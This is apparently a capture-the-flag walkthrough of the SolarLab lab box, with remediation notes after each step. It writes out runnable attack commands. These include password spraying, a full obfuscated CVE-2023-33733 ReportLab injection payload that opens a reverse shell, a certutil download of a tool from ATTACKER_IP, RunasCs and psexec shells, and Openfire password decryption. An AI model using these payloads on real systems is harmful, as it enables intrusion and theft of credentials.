SolarLab
Summary
I used anonymous SMB access to pull a spreadsheet of staff passwords, paired it with usernames guessed from names via a login form that leaked which accounts existed, and logged into an internal PDF-generation portal (ReportHub). ReportHub's PDF engine (ReportLab) was vulnerable to a known code-injection flaw, letting a crafted form field run commands on the server and open a reverse shell as a domain user.
Credentials for a service account recovered from that user's local application database were then used to run a process as that service account, whose OpenFire chat-server configuration held an encrypted copy of the local Administrator password. Decrypting it and reusing it over SMB gave full SYSTEM-level control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for blakeb>"
export PASSWORD2="<the-password-you-recovered, for Administrator>"
export PASSWORD3="<the-password-you-recovered, for openfire>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets — <encrypted_admin_password>, <invalid_user_response_size> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Anonymous (null-session) download of the staff spreadsheet.
$ smbclient -N //solarlab.htb/Documents -c 'get details-file.xlsx'Confirm local usernames (blake, openfire, Administrator) via anonymous RID cycling.
$ netexec smb solarlab.htb -u '' -p '' --rid-bruteFixRemove anonymous access to SMB shares and stop storing plaintext credentials in documentsHigh
Exact commands 3
Register both discovered virtual hosts.
$ echo "$TARGET solarlab.htb report.solarlab.htb" | sudo tee -a /etc/hostsSpray derived usernames against spreadsheet passwords, filtering the invalid-username response size to surface valid accounts.
$ ffuf -w users.txt:USER -w passwords.txt:PASS -X POST -d 'username=USER&password=PASS' -H 'Content-Type: application/x-www-form-urlencoded' -u http://report.solarlab.htb:6791/login -fs <invalid_user_response_size>Confirm the recovered credential logs into ReportHub.
$ curl -sS --resolve report.solarlab.htb:6791:$TARGET -c cookies.txt --data-urlencode 'username=blakeb' --data-urlencode "password=$PASSWORD" http://report.solarlab.htb:6791/loginFixFix the login endpoint to give identical responses for invalid usernames and wrong passwordsMedium
Exact commands 5
Retrieve the Training Request form to obtain field names/tokens.
$ curl -sS --resolve report.solarlab.htb:6791:$TARGET -b cookies.txt http://report.solarlab.htb:6791/trainingRequestSubmit the CVE-2023-33733 injection in the Training Type field; replace CMD with a base64 PowerShell reverse-shell command to my host:443 (the field truncates, so keep the payload short).
$ curl -sS --resolve report.solarlab.htb:6791:$TARGET -b cookies.txt --data-urlencode 'trainingType=<font color="[[getattr(pow,W(chr(95)*2+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)*1+chr(95)*2))[chr(111)+chr(115)].system(chr(67)+chr(77)+chr(68)) for W in [o(chr(87),(str,),{chr(109):1,chr(115)+chr(116)+chr(97)+chr(114)+chr(116)+chr(115)+chr(119)+chr(105)+chr(116)+chr(104):lambda s,x:0,chr(95)*2+chr(101)+chr(113)+chr(95)*2:lambda s,x:s.M() and s.m<0 and str(s)==x,chr(77):lambda s:{setattr(s,chr(109),s.m-1)},chr(95)*2+chr(104)+chr(97)+chr(115)+chr(104)+chr(95)*2:lambda s:hash(str(s))})]] for o in [type(type(1))]]">e</font>' -d 'submit=Submit' http://report.solarlab.htb:6791/trainingRequestCatch the reverse shell triggered when the PDF is rendered server-side.
$ nc -lvnp 443Confirm foothold as solarlab\blake before reading the flag.
$ whoami
solarlab\blake<user.txt> — capture only after confirming the whoami output.
$ type C:\Users\blake\Desktop\user.txtFixPatch or upgrade ReportLab to remediate CVE-2023-33733Critical
Exact commands 2
Or transfer users.db off-host and open with a SQLite browser/sqlite3 CLI to read stored credentials.
$ type C:\Users\blake\Documents\app\instance\users.db | moreValidate the recovered password against the local 'openfire' account.
$ netexec smb solarlab.htb -u openfire -p "$PASSWORD3"FixStop storing service-account credentials in application databases and eliminate password reuseHigh
Exact commands 3
Stage RunasCs.exe onto the host from the blake shell.
$ certutil -urlcache -f http://$ATTACKER_IP/RunasCs.exe C:\programdata\r.exeLaunch a shell as solarlab\openfire using the recovered service-account password.
$ C:\programdata\r.exe openfire "$PASSWORD3" "powershell -e <base64_reverse_shell_to_ATTACKER:444>" --logon-type 5 --bypass-uacCatch the openfire-context shell.
$ nc -lvnp 444Exact commands 2
From the openfire shell, extract the encrypted admin password and the passwordKey property.
$ type "C:\Program Files\Openfire\embedded-db\openfire.script" | findstr /i "passwordKey ofUser"Decrypt using Blowfish/CBC with key=SHA1(passwordKey) and IV=first block (per public openfire_decrypt tooling) to recover the plaintext password.
$ python3 openfire_decrypt.py --key $KEY --ciphertext <encrypted_admin_password>FixDo not reuse the local Administrator password for an application account and stop storing it reversiblyCritical
Exact commands 3
Confirm the decrypted password is valid for the local Administrator account (Pwn3d!).
$ netexec smb solarlab.htb -u Administrator -p "$PASSWORD2"Obtain a SYSTEM-level shell via ADMIN$ service execution.
$ impacket-psexec Administrator:"$PASSWORD2"@$TARGET<root.txt> — capture only after confirming SYSTEM/Administrator access.
$ type C:\Users\Administrator\Desktop\root.txtFixRestrict SMB/ADMIN$ remote service execution and monitor for PsExec-style lateral movementHigh
Exposed services
| 80/tcp | http nginx 1.24.0 |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 6791/tcp | unknown recon-sweep-discovered |
| 7680/tcp | unknown recon-sweep-discovered |